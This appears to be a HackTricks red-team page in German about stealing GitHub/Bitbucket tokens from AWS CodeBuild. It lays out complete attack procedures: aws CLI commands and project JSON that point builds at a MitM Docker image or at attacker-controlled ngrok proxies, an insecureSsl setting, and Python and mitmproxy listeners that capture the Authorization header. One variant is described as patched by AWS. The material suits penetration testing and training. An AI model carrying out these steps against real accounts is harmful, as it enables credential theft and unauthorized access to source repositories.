AWS Codebuild - Token Leakage

Reading time: 7 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Wiederherstellen von Github/Bitbucket konfigurierten Tokens

Zuerst überprüfen, ob es Quellanmeldeinformationen gibt, die Sie leaken könnten:

bash
aws codebuild list-source-credentials

Via Docker Image

Wenn Sie feststellen, dass die Authentifizierung zum Beispiel für Github im Konto festgelegt ist, können Sie exfiltrieren diesen Zugang (GH-Token oder OAuth-Token), indem Sie Codebuild dazu bringen, ein bestimmtes Docker-Image zu verwenden, um den Build des Projekts auszuführen.

Zu diesem Zweck könnten Sie ein neues Codebuild-Projekt erstellen oder die Umgebung eines bestehenden ändern, um das Docker-Image festzulegen.

Das Docker-Image, das Sie verwenden könnten, ist https://github.com/carlospolop/docker-mitm. Dies ist ein sehr einfaches Docker-Image, das die Umgebungsvariablen https_proxy, http_proxy und SSL_CERT_FILE festlegt. Dies ermöglicht es Ihnen, den Großteil des Traffics des im https_proxy und http_proxy angegebenen Hosts abzufangen und das in SSL_CERT_FILE angegebene SSL-Zertifikat zu vertrauen.

  1. Erstellen und Hochladen Ihres eigenen Docker MitM-Images
  • Befolgen Sie die Anweisungen des Repos, um Ihre Proxy-IP-Adresse festzulegen und Ihr SSL-Zertifikat zu setzen und das Docker-Image zu erstellen.
  • SETZEN SIE NICHT http_proxy, um keine Anfragen an den Metadaten-Endpunkt abzufangen.
  • Sie könnten ngrok wie ngrok tcp 4444 verwenden, um den Proxy auf Ihren Host zu setzen.
  • Sobald Sie das Docker-Image erstellt haben, laden Sie es in ein öffentliches Repo hoch (Dockerhub, ECR...)
  1. Umgebung festlegen
  • Erstellen Sie ein neues Codebuild-Projekt oder ändern Sie die Umgebung eines bestehenden.
  • Stellen Sie das Projekt so ein, dass es das zuvor generierte Docker-Image verwendet.
  1. Setzen Sie den MitM-Proxy auf Ihrem Host
  • Wie im Github-Repo angegeben, könnten Sie etwas wie Folgendes verwenden:
bash
mitmproxy --listen-port 4444  --allow-hosts "github.com"

tip

Die mitmproxy-Version, die verwendet wurde, war 9.0.1, es wurde berichtet, dass dies mit Version 10 möglicherweise nicht funktioniert.

  1. Führen Sie den Build aus und erfassen Sie die Anmeldeinformationen
  • Sie können das Token im Authorization-Header sehen:

Dies könnte auch über die aws cli mit etwas wie

bash
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json

## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}

## Json

# Start the build
aws codebuild start-build --project-name my-project2

Via insecureSSL

Codebuild-Projekte haben eine Einstellung namens insecureSsl, die im Web verborgen ist und nur über die API geändert werden kann.
Wenn Sie dies aktivieren, kann Codebuild sich mit dem Repository verbinden, ohne das von der Plattform angebotene Zertifikat zu überprüfen.

  • Zuerst müssen Sie die aktuelle Konfiguration mit etwas wie:
bash
aws codebuild batch-get-projects --name <proj-name>
  • Dann können Sie mit den gesammelten Informationen die Projekteinstellungen insecureSsl auf True aktualisieren. Das folgende ist ein Beispiel für meine Aktualisierung eines Projekts, beachten Sie das insecureSsl=True am Ende (das ist das einzige, was Sie aus der gesammelten Konfiguration ändern müssen).
  • Fügen Sie außerdem die Umgebungsvariablen http_proxy und https_proxy hinzu, die auf Ihr tcp ngrok zeigen, wie:
bash
aws codebuild update-project --name <proj-name> \
--source '{
"type": "GITHUB",
"location": "https://github.com/carlospolop/404checker",
"gitCloneDepth": 1,
"gitSubmodulesConfig": {
"fetchSubmodules": false
},
"buildspec": "version: 0.2\n\nphases:\n  build:\n    commands:\n       - echo \"sad\"\n",
"auth": {
"type": "CODECONNECTIONS",
"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
},
"reportBuildStatus": false,
"insecureSsl": true
}' \
--environment '{
"type": "LINUX_CONTAINER",
"image": "aws/codebuild/standard:5.0",
"computeType": "BUILD_GENERAL1_SMALL",
"environmentVariables": [
{
"name": "http_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
},
{
"name": "https_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
}
]
}'
python
from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • Schließlich klicken Sie auf Build the project, die Anmeldeinformationen werden im Klartext (base64) an den mitm-Port gesendet:

Via HTTP-Protokoll

[!TIP] > Diese Schwachstelle wurde von AWS irgendwann in der Woche des 20. Februar 2023 (ich glaube am Freitag) behoben. Ein Angreifer kann sie also nicht mehr ausnutzen :)

Ein Angreifer mit erhöhten Berechtigungen in über einem CodeBuild könnte das Github/Bitbucket-Token leaken, das konfiguriert ist, oder wenn die Berechtigungen über OAuth konfiguriert wurden, das temporäre OAuth-Token, das zum Zugriff auf den Code verwendet wird.

  • Ein Angreifer könnte die Umgebungsvariablen http_proxy und https_proxy zum CodeBuild-Projekt hinzufügen, die auf seine Maschine zeigen (zum Beispiel http://5.tcp.eu.ngrok.io:14972).
  • Dann ändern Sie die URL des Github-Repos, um HTTP anstelle von HTTPS zu verwenden, zum Beispiel: http://github.com/carlospolop-forks/TestActions
  • Dann führen Sie das grundlegende Beispiel von https://github.com/synchronizing/mitm an dem Port aus, der von den Proxy-Variablen (http_proxy und https_proxy) angegeben wird.
python
from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="0.0.0.0",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • Klicken Sie als Nächstes auf Projekt erstellen oder starten Sie den Build über die Befehlszeile:
sh
aws codebuild start-build --project-name <proj-name>
  • Schließlich werden die Anmeldeinformationen im Klartext (base64) an den mitm-Port gesendet:

warning

Jetzt kann ein Angreifer das Token von seiner Maschine aus verwenden, alle Privilegien auflisten, die es hat, und (miss)brauchen einfacher als die direkte Nutzung des CodeBuild-Dienstes.

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks